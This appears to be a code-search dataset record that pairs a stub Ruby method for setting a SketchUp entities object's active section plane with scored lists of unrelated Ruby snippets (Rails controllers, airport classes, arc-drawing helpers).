"def show\r\n @section = Section.find_by_id(params[:id])\r\n @lesson = @section.lesson\r\n @activities = @section.activities\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @section }\r\n end\r\n end",
"def set_section\n @course = Course.find(params[:course_id])\n @section = @course.sections.find(params[:section_id])\n end",
"def landing_clearance_for(plane)\n\t\[email protected]_runway_for(plane)\n\tend",
"def show\n @airplane = Airplane.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @airplane }\n end\n end",
"def get_active_period\n # puts 'ejecutando get_active_period'\n @active_period = current_user.periods.active\n # puts 'get_active_period ejecutado'\n end",
"def intersects_plane?(inst1,t1,plane_group,t2)\n #we will perform a test intersection to see if any new edges were created.\n if @helper_group==nil\n @helper_group=Sketchup.active_model.active_entities.add_group #this group will contain the edges from the test intersection\n @helper_group.entities.add_cpoint([0,0,0]) #adding a construction point to ensure that this group contains something to avoid automatic deletion by SketchUp\n end\n ents1=get_entities(inst1)\n ents2=@helper_group.entities\n new_edges=ents1.intersect_with(false,t1,ents2,@helper_group.transformation,false,[plane_group])\n\n if new_edges.length>0 #if new edges were created by the intersection\n return true\n else\n return false\n end\n end",
"def show\n @sections = Section.find(params[:id])\n end",
"def space_membership\n object.space_memberships.active.find_by(user: current_user)\n end",
"def plane_seats(category_id)\n seats.where(seat_category_id: category_id)\n end",
"def sections\n return @sections\n end",
"def active\n raise 'No \"Active\" header' unless headers.include?('Active')\n select { |row| row['Active'] == 'TRUE' }\n end",
"def set_planejamento\n @planejamento = Planejamento.find(params[:id])\n end",
"def show\n @section = Section.find(params[:id])\n\t\t@page = @section.pages[0]\n end",
"def find_section\n Section.joins(course: :department).where({\n number: @row.number,\n term: @row.term,\n 'departments.subject_code': @department.subject_code,\n 'courses.course_number': @course.course_number,\n }).first\n end",
"def left_difference_sections(section)\n chain_route transform: Pacer::Transform::IntersectSections, section: section, operation: :left_difference\n end",
"def active?\n 'Active' == self.status\n end",
"def active?\n @data[:active]\n end",
"def show\n @course = @course_section.course\n end",
"def section\n return @section if @section\n\n resp = HTTP\n .headers(authorization: \"Bearer #{access_token[:access_token]}\")\n .get(LIST_SECTIONS_ENDPOINT % notebook[:id], params: {\n select: 'id,name',\n filter: \"name eq '#{Config[:section]}'\"\n })\n if resp.code.to_s.start_with? '2'\n json = response_body(resp)\n @section = JSON.parse(json, symbolize_names: true)[:value].first\n end\n return @section\n end",
"def section(elem_id, elem_title)\n section(elem_id, elem_title, :elem_name=>'section')\n end",
"def section\n @section || path_section\n end",
"def allow_landing(plane)\n\t\traise \"This Airport is full\" if full?\n\t\traise \"This flight cannot land due to weather conditions\" if weather_stormy?\n\t\t# check your language, landed sounds like a question rather than a command\n\t\t# what about \"land!\" ?\n\t\tplane.landed!\n\t\t@planes << plane\n\tend",
"def current_participatory_space\n model\n end",
"def get_section(section_id, opts = {})\n data, _status_code, _headers = get_section_with_http_info(section_id, opts)\n data\n end",
"def sections\n account.accessible_sections if account\n end",
"def set_section\n if (params[:id] == nil)\n params[:id] = session[:active_block]\n if (session[:active_block])\n # TODO: try to infer the section based on the current time.\n params[:id] = 1\n end\n end\n session[:active_block] = params[:id].to_i\n @section = Section.find(params[:id])\n end",
"def show\n @page = Page.find(params[:id])\n @section = @page.section\n\n respond_to do |format|\n format.html { render :template => 'sections/show' }\n format.xml { render :xml => @page }\n end\n end",
"def show\n @plane_photo = PlanePhoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plane_photo }\n end\n end",
"def find_section\n @section = Section.find(params[:section_id])\n end",
"def section?\n [email protected]?\n end",
"def index\n @airplanes = Airplane.all\n end",
"def slicing_planes(segmenter)\n plane_normal = segmenter.segment.line[1]\n segmenter.points.map { |point|\n [point.clone, plane_normal.clone]\n }\n end",
"def active?\n @active\n end",
"def active?\n @active\n end",
"def active?\n @active\n end",
"def active_zoneset\n active_fc_zone || \"ASM_Zoneset\"\n end",
"def sections\n @sections.values\n end",
"def landing (plane)\n\t\tfail 'This plane has already landed' if plane.flying? == false\n\t\tfail 'The airport is full. No landings are possible.' if full?\n\t\tplane = plane.landed?\n\t\t@planes << plane\n\t\tputs 'Your flight has landed'\n\n\tend",
"def index\n @sections = Section.order(\"position asc\")\n\n authorize Section\n end",
"def active_tab(tab)\n if request.path.include?(tab)\n 'active'\n else\n ''\n end\n end",
"def section_by_id(section_id); end",
"def active?\n active\n end",
"def active?(nav_step)\n nav_step.to_sym == h.controller_name.to_sym\n end",
"def current_section\n \tcurrent_controller.split(\"/\").last\n end",
"def current_course\n if (params[:course_id])\n @current_course ||= Course.find(params[:course_id])\n else \n current_section.course \n end \n end",
"def active?(page_controller)\n page_controller = [page_controller] unless page_controller.is_a? Array\n \"active\" if page_controller.include? params[:controller]\n end",
"def release(plane)\n\n end",
"def section\n section_test.section\n end",
"def show\n unless current_user.has_role? :admin\n session[:sectionalization_id] = @sectionalization.id\n redirect_to teams_path\n end\n end",
"def show\n @section = Section.find(params[:id]) \t\n @nav_sections = Section.where(scenario_id: @section.scenario_id).order(:order)\n @inquests = Inquest.where(section_id: params[:id]).order(:order)\n @scenario = Scenario.where(id: @section.scenario_id)[0]\n end",
"def get_area()\n @space.get_area()\n end",
"def active?\n status == 'active'\n end",
"def active=(active)\n @active = active\n @cImage.active = active\n @cBorders.active = active\n end"
] | [
"0.74355143",
"0.74355143",
"0.69086975",
"0.6019148",
"0.5588092",
"0.53767335",
"0.5357188",
"0.52466893",
"0.51819444",
"0.49825087",
"0.49631995",
"0.49391696",
"0.4860505",
"0.48077917",
"0.47152704",
"0.46985424",
"0.46867162",
"0.46844554",
"0.45816332",
"0.45599157",
"0.45456493",
"0.4495261",
"0.4465941",
"0.43958464",
"0.43919432",
"0.43903074",
"0.4383234",
"0.43775216",
"0.43677112",
"0.43396378",
"0.43391773",
"0.43391773",
"0.43294752",
"0.43260452",
"0.4305048",
"0.42841202",
"0.4278568",
"0.42692286",
"0.42582074",
"0.42569557",
"0.4252297",
"0.42322975",
"0.42298126",
"0.4226386",
"0.4225812",
"0.42122224",
"0.41922963",
"0.41751733",
"0.41566968",
"0.4156558",
"0.414484",
"0.4137773",
"0.41359854",
"0.4134003",
"0.41266897",
"0.41081324",
"0.41000745",
"0.40964153",
"0.40876707",
"0.40794343",
"0.40773326",
"0.40690914",
"0.40673208",
"0.40597203",
"0.4053686",
"0.40486622",
"0.4045515",
"0.40313",
"0.40218672",
"0.40206462",
"0.40167803",
"0.4016224",
"0.40128326",
"0.40097445",
"0.40069497",
"0.40006587",
"0.39952216",
"0.39929616",
"0.39859822",
"0.39839354",
"0.39839354",
"0.39839354",
"0.39663017",
"0.3960122",
"0.3950791",
"0.39451873",
"0.39441806",
"0.39361763",
"0.39320922",
"0.39259568",
"0.39230704",
"0.39228046",
"0.3917228",
"0.3916836",
"0.39159733",
"0.3915148",
"0.39145708",
"0.39141893",
"0.39088556",
"0.39083135"
] | 0.7135732 | 2 |
The active_section_plane= method is used to set the active section plane in the Entities object. | def active_section_plane=(sec_plane)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def active_section_plane\n end",
"def active_section_plane\n end",
"def active_section_plane\n end",
"def add_section_plane(plane)\n end",
"def use_section_planes=(setting)\n end",
"def add_plane(plane)\n @planes << plane\n end",
"def set_airplane\n @airplane = Airplane.find(params[:id])\n end",
"def set_airplane\n @airplane = Airplane.find(params[:id])\n end",
"def set_section\n if (params[:id] == nil)\n params[:id] = session[:active_block]\n if (session[:active_block])\n # TODO: try to infer the section based on the current time.\n params[:id] = 1\n end\n end\n session[:active_block] = params[:id].to_i\n @section = Section.find(params[:id])\n end",
"def active=(active)\n @active = active\n @cImage.active = active\n @cBorders.active = active\n end",
"def use_section_planes?\n end",
"def plane\n end",
"def is_on_plane?(plane)\n plane.substitute(self) == 0\n end",
"def plane_params\n params.require(:plane).permit(:name, :model, :year, :description, :matricula, :status)\n end",
"def set_planejamento\n @planejamento = Planejamento.find(params[:id])\n end",
"def setup_add_plane\n return TSBS.error(@acts[0], 3, @used_sequence) if @acts.size < 3\n file = @acts[1]\n sox = @acts[2] # Scroll X\n soy = @acts[3] # Scroll Y \n z = (@acts[4] ? Graphics.height + 10 : 4)\n dur = @acts[5] || 2\n opac = @acts[6] || 255\n get_spriteset.battle_plane.set(file,sox,soy,z,dur,opac)\n end",
"def set_section\n @course = Course.find(params[:course_id])\n @section = @course.sections.find(params[:section_id])\n end",
"def set_plane_picture\n @plane_picture = PlanePicture.find(params[:id])\n end",
"def has_plane(plane)\n @planes.include?(plane)\n end",
"def add_plane()\n planes << Plane.new(\n gen_location,\n 0,\n width,\n height,\n gen_speed(),\n true\n )\n end",
"def update\n @plane = Plane.find(params[:id])\n\n respond_to do |format|\n if @plane.update_attributes(params[:plane])\n format.html { redirect_to @plane, notice: 'Plane was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plane.errors, status: :unprocessable_entity }\n end\n end\n end",
"def active=(active)\n @active = active\n @cEnemyGraphic.active = active\n end",
"def set_active\n self.active = true if self.active.nil?\n end",
"def plane\n return nil if @vertices.length < 3\n Plane.three_points(*@vertices[0..2])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def is_plane\n\t\t@angle == 0 || @angle == 180\n\tend",
"def active=(active)\n @active = active\n end",
"def set_active\n @active = Active.find(params[:id])\n end",
"def set_section\n @section = Section.friendly.find(params[:id])\n end",
"def section=(section)\n self[:section] = section\n end",
"def active=(active)\n @active = active\n @cCharGraphic.active = active\n end",
"def on_plane?(plane)\n end",
"def set_active\n @sidebar_active = [:posts]\n end",
"def set_space_scene\n @space_scene = SpaceScene.find(params[:id])\n end",
"def active=(active)\n @active = active\n for i in 0 .. @ucControls.size-1\n @ucControls[i].active = active\n end\n end",
"def create_face_from_section(section)\n plane=section.get_plane\n bounds=Sketchup.active_model.bounds\n entities=Sketchup.active_model.active_entities\n bmin = bounds.min\n bminx = bmin.x\n bminy = bmin.y\n bminz = bmin.z\n bmax = bounds.max\n bmaxx = bmax.x\n bmaxy = bmax.y\n bmaxz = bmax.z\n ### make group\n newgroup=entities.add_group\n newgroupentities=newgroup.entities\n c1 = [bminx, bminy, bminz]\n c2 = [bmaxx, bminy, bminz]\n c3 = [bminx, bminy, bmaxz]\n c4 = [bmaxx, bminy, bmaxz]\n c5 = [bminx, bmaxy, bmaxz]\n c6 = [bmaxx, bmaxy, bmaxz]\n c7 = [bminx, bmaxy, bminz]\n c8 = [bmaxx, bmaxy, bminz]\n e1 = newgroupentities.add_edges [ c1, c2 ]\n e2 = newgroupentities.add_edges [ c3, c4 ]\n e3 = newgroupentities.add_edges [ c5, c6 ]\n e4 = newgroupentities.add_edges [ c7, c8 ]\n e5 = newgroupentities.add_edges [ c1, c3 ]\n e6 = newgroupentities.add_edges [ c2, c4 ]\n e7 = newgroupentities.add_edges [ c7, c5 ]\n e8 = newgroupentities.add_edges [ c8, c6 ]\n e9 = newgroupentities.add_edges [ c1, c7 ]\n e10 = newgroupentities.add_edges [ c3, c5 ]\n e11 = newgroupentities.add_edges [ c4, c6 ]\n e12 = newgroupentities.add_edges [ c2, c8 ]\n line1 = e1[0].line\n line2 = e2[0].line\n line3 = e3[0].line\n line4 = e4[0].line\n line5 = e5[0].line\n line6 = e6[0].line\n line7 = e7[0].line\n line8 = e8[0].line\n line9 = e9[0].line\n line10 = e10[0].line\n line11 = e11[0].line\n line12 = e12[0].line\n e1[0].erase!\n e2[0].erase!\n e3[0].erase!\n e4[0].erase!\n e5[0].erase!\n e6[0].erase!\n e7[0].erase!\n e8[0].erase!\n e9[0].erase!\n e10[0].erase!\n e11[0].erase!\n e12[0].erase!\n ### find intersects with plane\n p1 = Geom.intersect_line_plane line1, plane\n p2 = Geom.intersect_line_plane line2, plane\n p3 = Geom.intersect_line_plane line3, plane\n p4 = Geom.intersect_line_plane line4, plane\n p5 = Geom.intersect_line_plane line5, plane\n p6 = Geom.intersect_line_plane line6, plane\n p7 = Geom.intersect_line_plane line7, plane\n p8 = Geom.intersect_line_plane line8, plane\n p9 = Geom.intersect_line_plane line9, plane\n p10 = Geom.intersect_line_plane line10, plane\n p11 = Geom.intersect_line_plane line11, plane\n p12 = Geom.intersect_line_plane line12, plane\n if p1 ### NOT z\n e1 = newgroupentities.add_line p1,p2\n e2 = newgroupentities.add_line p2,p3\n e3 = newgroupentities.add_line p3,p4\n e4 = newgroupentities.add_line p4,p1\n elsif p5 ### in z\n e1 = newgroupentities.add_line p5,p6\n e2 = newgroupentities.add_line p6,p8\n e3 = newgroupentities.add_line p8,p7\n e4 = newgroupentities.add_line p7,p5\n else\n e1 = newgroupentities.add_line p9,p10\n e2 = newgroupentities.add_line p10,p11\n e3 = newgroupentities.add_line p11,p12\n e4 = newgroupentities.add_line p12,p9\n end #if p1 etc\n face = newgroupentities.add_face [e1,e2,e3,e4]\n newgroup\n end",
"def all_planes\n self.planes.collect do |plane_obj|\n plane_obj.update_status_and_location\n end\n end",
"def set_active_header\n @active_header = ActiveHeader.find(params[:id])\n end",
"def switch_section\n\t\t#enrollment works here\n\t\t@enrollment = Enroll.find(params[:id])\n\t\t@section = Section.find(@enrollment.section_id)\n\t\t@course = Course.find(@enrollment.course_id)\n\t\t@open_sections = @section.getOtherOpenSections()\n\t\t@offer = @enrollment.offer\n\t\t@compatable_offers = Offer.getCompatableOffers(@section)\n\t\t@transactions = @enrollment.getTransactionsInReverseOrder\n @section_limit = @section.getLimit()\n\tend",
"def set_sectionalization\n @sectionalization = Sectionalization.find(params[:id])\n end",
"def get_active_state( section , params )\n \n if section == ADMIN_SECTION[:create_employee] \n if selected_create_employee_tab?(params)\n return ACTIVE\n end\n end\n \n \n if section == ADMIN_SECTION[:all_employees] or section == ADMIN_SECTION[:edit_employee]\n if selected_all_employees_tab?(params) or \n selected_edit_employee_tab?(params)\n return ACTIVE\n end\n end\n \n \n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_section\n @section = Section.find(params[:id])\n end",
"def set_active\n @active = true\n end",
"def update!(**args)\n @control_plane_only = args[:control_plane_only] if args.key?(:control_plane_only)\n end",
"def set_section\n @section = @form.sections.find(params[:id])\n end",
"def active=(active)\n @active = active\n @ucCharFace.active = active\n @cCharName.active = active\n @ucCharLvl.active = active\n @ucHpStat.active = active\n @cHpStatGauge.active = active\n @ucMpStat.active = active\n @cMpStatGauge.active = active\n end",
"def active=(active)\n @active = active\n @ucCharFace.active = active\n @cCharName.active = active\n @ucCharLvl.active = active\n @ucHpStat.active = active\n @cHpStatGauge.active = active\n @ucMpStat.active = active\n @cMpStatGauge.active = active\n end",
"def set_lab_section\n @lab_section = LabSection.find(params[:id])\n end",
"def set_space_amenity\n @space_amenity = SpaceAmenity.find(params[:id])\n end",
"def set_section_row\n @section_row = SectionRow.find(params[:id])\n end",
"def active_classroom_sections\n @active_classroom_sections ||= current_classroom.classroom_type.active_sections.to_s.html_safe\n end",
"def set_course_section\n @course_section = CourseSection.find(params[:id])\n end",
"def set_course_section\n @course_section = CourseSection.find(params[:id])\n end",
"def set_section_p\n @section = Section.find(params[:section_id])\n end",
"def active=(active)\n @active = active\n @ucIcon.active = active\n @cSkillName.active = active\n @cSkillMpCost.active = active\n end",
"def section=(section)\n section = Section.find_or_create_by(name: section[:name])\n self.section_id = section.id\n end",
"def active=(active)\n @active = active\n @ucActStates.active = active\n @cCharImage.active = active\n @cCharName.active = active\n @ucCharLvl.active = active\n @ucHpStat.active = active\n @cHpStatGauge.active = active\n @ucMpStat.active = active\n @cMpStatGauge.active = active\n @ucExp.active = active\n @cExpGauge.active = active\n end",
"def set_section\n @section = EventGroup.find(params[:id] || params[:section_id])\n end",
"def active=(active)\n @active = active\n @ucEncounters.active = active\n @ucDefeated.active = active\n @ucEscaped.active = active\n @ucExp.active = active\n @ucGold.active = active\n end",
"def set_typeairplane\n @typeairplane = Typeairplane.find(params[:id])\n end",
"def sections=(value)\n @sections = value\n end",
"def active=(active)\n @active = active\n @ucActStates.active = active\n @ucHpStat.active = active\n @cHpStatGauge.active = active\n @ucMpStat.active = active\n @cMpStatGauge.active = active\n @ucAtkStat.active = active\n @ucDefStat.active = active\n @ucSpiStat.active = active\n @ucAgiStat.active = active\n @ucEvaStat.active = active\n @ucHitStat.active = active\n @ucCriStat.active = active\n end",
"def active=(active)\n @active = active\n @cEquipKind.active = active\n @ucIcon.active = active\n @cEquipName.active = active\n end",
"def active=(active)\n @active = active\n @cImage.active = active\n end",
"def show \n id = params[:id] # id is part of the route so we can grab the params[:id]\n @plane = Plane.find(id)\n\n render :show\n end",
"def set_area_edition\n @area_edition = @layout.area_editions.find(params[:id])\n end",
"def airplane_params\n params.require(:airplane).permit(:name, :row, :column)\n end",
"def active=(active)\n @active = active\n @ucIcon.active = active\n @cItemName.active = active\n @cItemPrice.active = active\n @cItemPossess.active = active\n @ucItemNumber.active = active\n end",
"def update_section_with_http_info(section_id, firewall_section, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesFirewallApi.update_section ...'\n end\n # verify the required parameter 'section_id' is set\n if @api_client.config.client_side_validation && section_id.nil?\n fail ArgumentError, \"Missing the required parameter 'section_id' when calling ManagementPlaneApiServicesFirewallApi.update_section\"\n end\n # verify the required parameter 'firewall_section' is set\n if @api_client.config.client_side_validation && firewall_section.nil?\n fail ArgumentError, \"Missing the required parameter 'firewall_section' when calling ManagementPlaneApiServicesFirewallApi.update_section\"\n end\n # resource path\n local_var_path = '/firewall/sections/{section-id}'.sub('{' + 'section-id' + '}', section_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(firewall_section)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FirewallSection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesFirewallApi#update_section\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_community_section\n @community_section = CommunitySection.find(params[:id])\n end",
"def project_to_plane\n end",
"def section\n @section.call\n end",
"def release(plane)\n\n end",
"def section(elem_id, elem_title)\n section(elem_id, elem_title, :elem_name=>'section')\n end",
"def mode=(select_mode)\n #ensure active\n if select_mode\n @active = true \n else\n @target_area.clear\n end\n @mode = select_mode\n end",
"def allow_landing(plane)\n\t\traise \"This Airport is full\" if full?\n\t\traise \"This flight cannot land due to weather conditions\" if weather_stormy?\n\t\t# check your language, landed sounds like a question rather than a command\n\t\t# what about \"land!\" ?\n\t\tplane.landed!\n\t\t@planes << plane\n\tend",
"def active!\n self.update_attribute(:status, ACTIVE)\n end",
"def set_spacecraft\n @spacecraft = Spacecraft.find(params[:id])\n end",
"def active?\n @_active_status ||= ( attributes.include?('active') ? !!self.active : true )\n end",
"def section(ident)\n @sections[ident]\n end"
] | [
"0.7266666",
"0.7266666",
"0.6998598",
"0.63439906",
"0.56677526",
"0.5184822",
"0.5167513",
"0.5167513",
"0.50869733",
"0.5085014",
"0.50536764",
"0.5042245",
"0.50105846",
"0.5010294",
"0.49899668",
"0.4950605",
"0.49413878",
"0.4928752",
"0.49043873",
"0.48866206",
"0.4880153",
"0.48192865",
"0.47895688",
"0.47391564",
"0.47320586",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.47315648",
"0.46829244",
"0.46384263",
"0.46380743",
"0.4624119",
"0.46177462",
"0.46145532",
"0.45775643",
"0.45757207",
"0.45652482",
"0.45478848",
"0.45342597",
"0.4522622",
"0.45217654",
"0.45166907",
"0.45028153",
"0.4491496",
"0.44894263",
"0.44894263",
"0.44846928",
"0.4467551",
"0.44537446",
"0.44479638",
"0.44479638",
"0.44180575",
"0.44105285",
"0.43782562",
"0.43699226",
"0.43697563",
"0.43697563",
"0.43554026",
"0.43526715",
"0.43119943",
"0.43109947",
"0.43106046",
"0.43052438",
"0.4303381",
"0.42950124",
"0.42949328",
"0.4278527",
"0.42694286",
"0.4260825",
"0.4238886",
"0.42193678",
"0.4217796",
"0.41925505",
"0.41826248",
"0.41731086",
"0.41673297",
"0.41602322",
"0.41539857",
"0.41492558",
"0.41429844",
"0.41392273",
"0.41363975",
"0.41335237",
"0.41333258"
] | 0.77724785 | 0 |
The add_arc method is used to create an arc curve segment. | def add_arc(*args)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_arc(centerPoint: { x: 0.0, y: 0.0 }, radius: 1.0, \n startAngle: 0.0, endAngle: Math::PI * 0.25,\n isClockwise: false)\n pathElement = { elementtype: :patharc,\n centerpoint: centerPoint,\n radius: radius,\n startangle: startAngle,\n endangle: endAngle,\n clockwise: isClockwise }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def arc(x, y, radius, start_angle, end_angle)\n start_angle = radians(90-start_angle)\n end_angle = radians(90-end_angle)\n clockwise = 1 # 1 = clockwise, 0 = counterclockwise\n CGContextAddArc(@ctx, x, y, radius, start_angle, end_angle, clockwise)\n CGContextDrawPath(@ctx, KCGPathStroke)\n end",
"def add_arc(arc)\n if (arc.validate self) && [email protected]?(arc.name)\n if arc.need_update? self\n arc.update self\n end\n @arcs[arc.name] = arc.id\n @objects[arc.id] = arc\n arc.net = self\n return arc.id\n end\n changed_structure\n return false\n end",
"def arc(x, y, r, start_angle, end_angle, move_to0=false)\n cur_page.arc(x, y, r, start_angle, end_angle, move_to0)\n end",
"def makeArc\r\n @entities.add_arc @centre, @vector2, @normal, @toolRadius, 0, Math::PI, 6\r\n end",
"def arc(center, xaxis, normal, radius, start_angle, end_angle, num_segments = 12)\n # Generate the first point.\n t = Geom::Transformation.rotation(center, normal, start_angle)\n points = []\n points << center.offset(xaxis, radius).transform(t)\n # Prepare a transformation we can repeat on the last entry in point to complete the arc.\n t = Geom::Transformation.rotation(center, normal, (end_angle - start_angle) / num_segments)\n 1.upto(num_segments) {\n points << points.last.transform(t)\n }\n points\n rescue StandardError\n p [center, xaxis, normal, radius, start_angle, end_angle, num_segments]\n raise\n end",
"def add_arc_topoint_onpath(tangentPoint1: { x: 0.0, y: 0.0 },\n tangentPoint2: { x: 100.0, y: 100.0 },\n radius: 1.0)\n pathElement = { elementtype: :pathaddarctopoint,\n tangentpoint1: tangentPoint1,\n tangentpoint2: tangentPoint2,\n radius: radius }\n @pathArray.push(pathElement)\n @pathArray\n end",
"def drawarc(*)\n super\n end",
"def arc(x, y, radius, startAngle, endAngle, anticlockwise)\n drawCircle(x, y, radius) if startAngle == 0 && endAngle == Math::PI * 2\n\n arc = endAngle - startAngle\n\n # Calculate the start point of the path\n x1, y1 = calc_point(radius, startAngle, x, y)\n x2, y2 = calc_point(radius, endAngle, x, y)\n\n direction = anticlockwise ? SweepDirection.Counterclockwise : SweepDirection.Clockwise\n if anticlockwise\n large_arc = arc >= Math::PI ? false : true\n else\n large_arc = arc >= Math::PI ? true : false\n end\n\n drawArc(x1, y1, x2, y2, radius, large_arc, direction)\n end",
"def add_dimension_radial(arc_curve, leader_break_pt)\n end",
"def arc(x, y, radius, angle1, angle2)\n [x.value, y.value, radius.value, angle1.value * (Math::PI / 180.0), angle2.value * (Math::PI / 180.0)]\n end",
"def arcto(x1, y1, x2, y2, radius)\n CGContextAddArcToPoint(@ctx, x1, y1, x2, y2, radius)\n end",
"def arc_curve=(arc_curve)\n end",
"def vertex_arc(v)\n x1, y1 = *polar_to_cartesian(angle_to_x(v), ARC_RADIUS)\n x2, y2 = *polar_to_cartesian(angle_to_x(v) + t.angle(v), ARC_RADIUS)\n %[<path d=\"M #{@coords[v][0] + x1},#{@coords[v][1] - y1} A #{ARC_RADIUS},#{ARC_RADIUS} 0 0 0 #{@coords[v][0] + x2},#{@coords[v][1] - y2}\" stroke=\"#90ee90\" stroke-width=\"2\" fill=\"none\"/>\\n]\n end",
"def arc_around(center, options)\n open_curve(arc_vertices(center, options))\n end",
"def points_for_arc(x, y, r, start_angle, end_angle)\n cur_page.points_for_arc(x, y, r, start_angle, end_angle)\n end",
"def add_circle(center, normal, radius, numsegs = 24)\n end",
"def GenSilkArc(x, y, width, height, startangle, deltaangle)\n thickness = GetDim('silkwidth')\n PcbElementArc(x, y, width, height, startangle, deltaangle, thickness)\nend",
"def arc_test_0\r\n# - - - - - - - - - - - - - - - - - - - -\r\n #############\r\n ### ARC TEST #0\r\n #############\r\n aMill = CNCMill.new\r\n aMill.job_start()\r\n aMill.home()\r\n # variables used here to make\r\n # easy for reader.\r\n\r\n aRes = arc_segment_pocket(\r\n mill = aMill, \r\n circ_x = 1.0,\r\n circ_y = 1.0,\r\n min_radius = 0.82,\r\n max_radius = 0.95,\r\n beg_angle = 41.0,\r\n end_angle = 48.3,\r\n 0,\r\n depth = -1.8,\r\n degree_inc = 0.5)\r\n \r\n return aRes\r\nend",
"def fillarc(*)\n super\n end",
"def add_input(arc)\n\t\t\t@inputs << arc.id unless arc.nil?\n\t\tend",
"def add_circle(options)\n circle = OptionsHelper.to_circle(options)\n self.add_overlay circle\n\n circle\n end",
"def calculate_arc_parameters(begin_x, begin_y, end_x, end_y)\n distance = Math.sqrt(((begin_x - end_x)**2) + ((begin_y - end_y)**2))\n angle_b_o = Math.atan2(begin_y, -begin_x)\n angle_b_e = Math.atan2(begin_y - end_y, end_x - begin_x)\n angle_e_b_o = angle_b_o - angle_b_e\n if angle_e_b_o < -Math::PI\n angle_e_b_o += 2 * Math::PI\n elsif angle_e_b_o > Math::PI\n angle_e_b_o -= 2 * Math::PI\n end\n\n radius = (distance / (2.0 * Math.cos((Math::PI / 2.0) - angle_e_b_o.abs))).round(2)\n sweep = angle_e_b_o.negative? ? 0 : 1\n {\n radius: radius,\n sweep: sweep,\n }\n end",
"def arc_test_easy_array(mill)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n aArc = CNCShapeArc.new(\r\n mill = mill, \r\n x = 1.5,\r\n y = 1.5,\r\n beg_min_radius = 0.65, \r\n beg_max_radius = 0.85,\r\n beg_angle = 0.0, \r\n end_min_radius = 0.65,\r\n end_max_radius = 0.90,\r\n end_angle = 35.0, \r\n depth = -0.2)\r\n\r\n aArc.circ_array()\r\nend",
"def add_output(arc)\n\t\t\t@outputs << arc.id unless arc.nil?\n\t\tend",
"def arc_pocket_adv(\r\n mill, \r\n pCirc_x,\r\n pCirc_y,\r\n pBeg_min_radius,\r\n pBeg_max_radius, \r\n pBeg_angle,\r\n pEnd_min_radius, \r\n pEnd_max_radius, \r\n pEnd_angle, \r\n pDepth = nil,\r\n pDegree_inc = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n # print \"(arc_segment_pocket pDepth=\", pDepth, \")\\n\"\r\n\r\n aArc = CNCShapeArcPocketAdv.new(\r\n mill, pCirc_x,\r\n pCirc_y,\r\n pBeg_min_radius, \r\n pBeg_max_radius, \r\n pBeg_angle, \r\n pEnd_min_radius, \r\n pEnd_max_radius, \r\n pEnd_angle, \r\n pDepth,\r\n pDegree_inc)\r\n aArc.beg_depth = mill.cz \r\n if aArc.beg_depth > 0\r\n aArc.beg_depth = 0\r\n end \r\n aArc.do_mill()\r\n return aArc\r\nend",
"def pie\n diameter = @options[:diameter].to_f\n background_color = @options[:background_color]\n\n create_canvas(diameter, diameter, background_color)\n\n share_color = @options[:share_color]\n remain_color = @options[:remain_color]\n percent = @norm_data[0]\n\n # Adjust the radius so there's some edge left in the pie\n r = diameter/2.0 - 2\n @draw.fill(remain_color)\n @draw.ellipse(r + 2, r + 2, r , r , 0, 360)\n @draw.fill(share_color)\n\n # Special exceptions\n if percent == 0\n # For 0% return blank\n @draw.draw(@canvas)\n return @canvas\n elsif percent == 100\n # For 100% just draw a full circle\n @draw.ellipse(r + 2, r + 2, r , r , 0, 360)\n @draw.draw(@canvas)\n return @canvas\n end\n\n # Okay, this part is as confusing as hell, so pay attention:\n # This line determines the horizontal portion of the point on the circle where the X-Axis\n # should end. It's caculated by taking the center of the on-image circle and adding that\n # to the radius multiplied by the formula for determinig the point on a unit circle that a\n # angle 